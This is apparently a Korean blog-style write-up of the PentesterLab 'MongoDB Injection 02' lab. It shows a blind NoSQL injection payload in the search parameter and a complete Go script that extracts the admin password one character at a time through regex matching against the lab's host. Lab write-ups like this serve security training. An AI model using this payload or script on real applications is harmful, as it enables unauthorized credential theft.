PentesterLab의 MongoDB Injection 02 문제에 대한 접근 방법을 기록
이번 문제는 MongoDB에서의 Blind SQLi이다.MongoDB의 Document를 보면 쿼리형태를 확인할 수 있어 문제 해결에 도움이 될 수 있다.
바로 문제를 확인하면 아래와같이 search 파라미터로 검색을 지원하는데 해당 파라미터에서 SQLi가 발생한다.
MongoDB에서는 match내 정규식을 사용하여 값을 필터링할 수 있는데 이를 이용하여 name이 admin인 계정의 password를 Blind SQLi로 탈취할 수 있다. Python으로 코드를 짜는건 너무 느리고 식상해서 이번엔 GoLang으로 작성해보았다.
/?search=admin%27%20%26%26%20this.password.match(/"정규식"/)%00
package main
import (
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
)
func check(payload string) bool {
var URL string = "https://ptl-88279a01-37c23071.libcurl.so/?search=admin%27%20%26%26%20this.password.match(/" + payload + "/)%00"
resp, err := http.Get(URL)
if err != nil {
panic(err)
}
defer resp.Body.Close()
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
fmt.Println(string(URL))
return strings.Contains(string(data), ">admin<")
}
func main() {
var CHARSET []string
var PASSWORD string = ""
CHARSET = []string{"-", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}
for {
cnt := 0
for cnt < len(CHARSET) {
var c string = CHARSET[cnt]
var test string = PASSWORD + c
if check("^" + test + ".*$") {
fmt.Println("ADD PASSWORD " + c)
PASSWORD += c
break
} else if c == CHARSET[len(CHARSET)-1] {
fmt.Println("[+] PASSWORD IS " + PASSWORD)
os.Exit(0)
}
cnt += 1
}
}
}
확실히 GoLang이 Python보다 빠르다.